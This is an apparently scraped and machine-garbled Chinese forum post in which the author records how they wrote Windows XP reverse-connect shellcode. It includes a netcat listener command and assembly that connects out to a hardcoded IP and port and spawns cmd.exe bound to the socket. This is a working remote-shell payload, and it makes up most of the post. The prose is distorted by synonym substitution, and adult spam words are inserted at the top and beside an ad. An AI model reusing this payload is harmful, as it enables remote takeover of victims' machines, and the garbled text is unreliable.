发布日期:2024-09-27 22:25 点击次数:150
人妖sm 题目:编写反连ShellCode碰到的难点并处分之回首 作家:仙果 目次 0x1 题记 0x2 相干 0x3 难点 0x4 回首 0x1 题记 间隙分析暂告了一个段落,转向了安谧编写一个反连的ShellCode,相干代码收集上还是许多许多, 我方也参考了收集上公布的代码进行编写,此篇著作东要记载编写经由中困扰我方许多时辰的相干问题,并加上我方的泄露。 0x2 相干 修复系统: Windows XP SP3_cn 捏造机Windows XP sp2_cn 修复软件: vc++6.0 sp6中语版 vs2008 中语版 调试软件: WinDbg 0x3 难点 由于对win32_socket编程少许也不了解,最多也就编写过扫描端口的小步调,亦然照着网上的代码版拼半凑的完成, 是以这次编写反连的ShellCode的经由总共是在对其一无所知的情况下完成的,虽然完成之后对socket编程也照旧一知半解的景况。 先是在收集上搜索关系于反连ShellCode的相干代码,果真能搜索到的代码很少,许多相通简略访佛的代码对我方莫得什么用处, 临了在metasploit的网站陡立载到一套代码,其机器码不错平常彭胀,但源码是asm局势在本机上编译许多场地出错, 不最多怎么进行修改,其功能不合适这次编写的条款,只高东说念主动我方编写,代码行为参考。相干代码会进行打包上传, 我写的源代码就不传了,大家不错字据帖出来的代码自行编写。 此前还是把腹地监听端口的相干代码还是完成,故应用此前的相干代码,经过比较与监听端口比拟只存在相干收集处理函数的不同, 其运调遣函数齐是相通的。 0x3.1 在捏造机中使用NC用具监听需要衔尾的端口,敕令为nc.exe -l -p 4444-vv 经过WSAStartup及WSASocketA(2,1,0,0,0,0)函数处理后,接下来需要调用connect进行相干处理。 查询而已得connect彭胀到手,则其复返值为0,在调试的时间复返值齐是0xffffffff,报错并退出,代码为:LConnnect: push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0 push 0x11220002 ; port: 8721 mov ecx, esp push byte 0x10 push ecx push ebx call [ebp + 16] //connect test eax, eax jne short LFinished无法得回解答,网上也莫得任何细节上的问题,还好腹地有一份用C谈话已矣的代码, 在vc6中进行反汇编调试,截取相干细节
85: if(0 != connect(locals, (struct sockaddr*)&s_sin, sizeof(s_sin))) 00401AB7 mov esi,esp 00401AB9 push 10h 00401ABB push offset s_sin (0047cdf0) 00401AC0 mov eax,[locals (0047ce5c)] 00401AC5 push eax 00401AC6 call dword ptr [__imp__connect@12 (0047f374)] 00401ACC cmp esi,esp 00401ACE call __chkesp (00420c40) 00401AD3 test eax,eax 00401AD5 je getshell+12Bh (00401aeb) push offset s_sin (0047cdf0)中保存了 端口和反连IP 0047CDF0 02 00 22 11 C0 A8 01 03 ..".括.. 0047CDF8 00 00 00 00 00 00 00 00 ........ mov eax,[locals (0047ce5c)] 保存socket的句柄在windbg中进行调试发现, push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0 push 0x11220002 ; port: 8721 mov ecx, esp 经由是 压入反连IP和端口,mov ecx,esp这句是把端口和IP赋给ecx,并不才面的代码中压入堆栈,行为connect的参数。 还犯了一次把192和168的位置弄反的初级诞妄,最终得以使connect的复返值为正确的0x0。 0x2 接下来是对CreateprocessA的参数进行处理,主要牵连到两个结构&si及&pi,不知说念在汇编中怎么已矣这两个结构, 参考代码看的不是很懂,只可拿现成的代码进行反汇编,相干代码如下: 124: CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, NULL, NULL, NULL, &si, &pi);
00401CB3 mov esi,esp 00401CB5 push offset pi (0047ce08) //压入&pi 00401CBA push offset si (0047ce18) //压入&si 00401CBF push 0 00401CC1 push 0 00401CC3 push 0 00401CC5 push 1 00401CC7 push 0 00401CC9 push 0 00401CCB push offset string "cmd.exe" (0046f178) 00401CD0 push 0 00401CD2 call dword ptr [__imp__CreateProcessA@40 (0047f200)] 0047CDF8 00 00 00 00 00 00 00 00 ........ //&pi 0047CE00 00 00 00 00 00 00 00 00 ........ 0047CE08 00 00 00 00 00 00 00 00 ........ 0047CE10 00 00 00 00 00 00 00 00 ........ 0047CE18 44 00 00 00 00 00 00 00 D.......//&si 0047CE20 00 00 00 00 00 00 00 00 ........ 0047CE28 00 00 00 00 00 00 00 00 ........ 0047CE30 00 00 00 00 00 00 00 00 ........ 0047CE38 00 00 00 00 00 00 00 00 ........ 0047CE40 00 00 00 00 00 01 00 00 ........ 0047CE48 00 00 00 00 00 00 00 00 ........ 0047CE50 A0 07 00 00 A0 07 00 00 ........ 0047CE58 A0 07 00 00 A0 07 00 00 ........不雅察其内存数据,&pi是4段为0x0的数据,况且其地址齐是连气儿的,自后跟的是&si &si的结构比较复杂,第一项的值为0x44 ,第十二项为0x100,临了三项为socket的句柄,其余项齐为0, 况且其内存也齐是连气儿的,这就比较好办些。 以下是已矣代码,跟参考代码有部分鉴别
xchg ebx, eax ; ebx = socket 句柄 mov ebx,eax //这段代码是无须的 push 646D63h ; "cmd" lea edx, [esp] //把"cmd"赋给edx sub esp, 54h mov edi, esp //mov dword ptr[edi],0x0 push 14h pop ecx //14h赋给ecx xor eax, eax stack_zero: mov [edi+ecx*4], eax //这段代码对edi的ecx*4的鸿沟内赋值0,即运调遣0 loop stack_zero /*以下代码构造&pi及si*/ mov byte ptr [edi+10h], 44h ; si.cb = sizeof(si) inc byte ptr [edi+3Ch] ; si.dwFlags = 0x100 inc byte ptr [edi+3Dh] ; dwFlags mov [edi+48h], ebx ; si.hStdInput = socket mov [edi+4Ch], ebx ; hStdOutput = socket mov [edi+50h], ebx ; hStdError = socket lea eax, dword ptr [edi+10h] push edi //&pi push eax //0x44 &si push ecx push ecx push ecx push 1 push ecx push ecx push edx ; "cmd" push ecx call dword ptr [esi+0x4]到这里反连ShellCode 就完成了 0x4 回首 由于回首对socket编程一知半解,是以对ShellCode的编写也无法作念到交融交融, 对数据结构少许也莫得搏斗,看来还需要加强在编程方面的基础 以上记载对大牛来说来说便是纯粹的不成再纯粹的事情,我等小菜叶仅仅纯粹记载下分享给像我相同 对编写ShellCode不懂的手足。 参考代码.rar
[培训]内核驱动高等班日本萝莉 porn,冲击BAT一流互联网大厂使命,每周日13:00-18:00直播讲课
上传的附件: 参考代码.rar (312.69kb,66次下载)